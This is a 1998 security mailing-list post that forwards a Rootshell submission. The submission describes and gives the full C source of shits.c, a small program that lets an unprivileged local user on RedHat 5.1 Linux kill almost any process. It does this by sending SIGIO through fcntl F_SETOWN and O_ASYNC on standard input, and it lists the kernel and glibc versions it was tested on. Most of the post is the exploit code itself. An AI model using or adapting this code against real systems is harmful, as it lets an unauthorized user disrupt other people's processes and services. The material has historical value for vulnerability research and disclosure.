<SECURITY> kill almost any process in (RedHat 5.1) Linux without roo

[Gunnar Wolf <gwolf en www chmd edu mx>]

De http://www.rootshell.com/archive-j457nxiqi3gq59dv/199811/shits.c.html

>From dibbler en umd umich edu Fri Nov 13 11:36:32 1998
                       Date: Fri, 13 Nov 1998 14:25:29 -0500 (EST)
                       From: Ryan Dibble <dibbler en umd umich edu>
                       To: submission en rootshell com
                       Subject: kill almost any process in (RedHat 5.1)
Linux without root

                       The code below will result in the termination of
almost any process no
                       matter who owns it. The good news is that init,
kflushd, kswapd, and klogd
                       appear not to be effected. In order to run this the
user must have login
                       access to the machine. This code has been tested on
two different machines
                       running RedHat 5.1 with the following packages:

                       kernel-2.0.34-0.6
                       glibc-2.0.7-13
                       glib-1.0.1-2
                       glibc-debug-2.0.7-13
                       glibc-devel-2.0.7-13
                       glibc-profile-2.0.7-13

                       ===== BEGIN shits.c =====
                       #include <fcntl.h>
                       #include <errno.h>
                       #include <stdio.h>
                       #include <stdlib.h>
                       #include <unistd.h>

                       int main(int argc, char *argv[]) {
                         int s, p;
                         if (argc != 2) {
                           fputs("Please specify a pid to send signal
to.\n", stderr);
                           exit(0);
                         } else {
                           p = atoi(argv[1]);
                         }
                         fcntl(0,F_SETOWN,p);
                         s = fcntl(0,F_GETFL,0);
                         fcntl(0,F_SETFL,s|O_ASYNC);
                         printf("Sending SIGIO - press enter.\n");
                         getchar();
                         fcntl(0,F_SETFL,s&~O_ASYNC);
                         printf("SIGIO send attempted.\n");
                         return 0;
                       }
                       ===== END shits.c =====



+----------------------------------+ There are two major products
| Gunnar Wolf    gwolf en chmd edu mx | to come out of Berkeley:
| Colegio   Hebreo  Maguen   David | LSD and UNIX.
| Desde   la   ciudad   de  Mexico | We don't believe this
+----------------------------------+ to be a coincidence.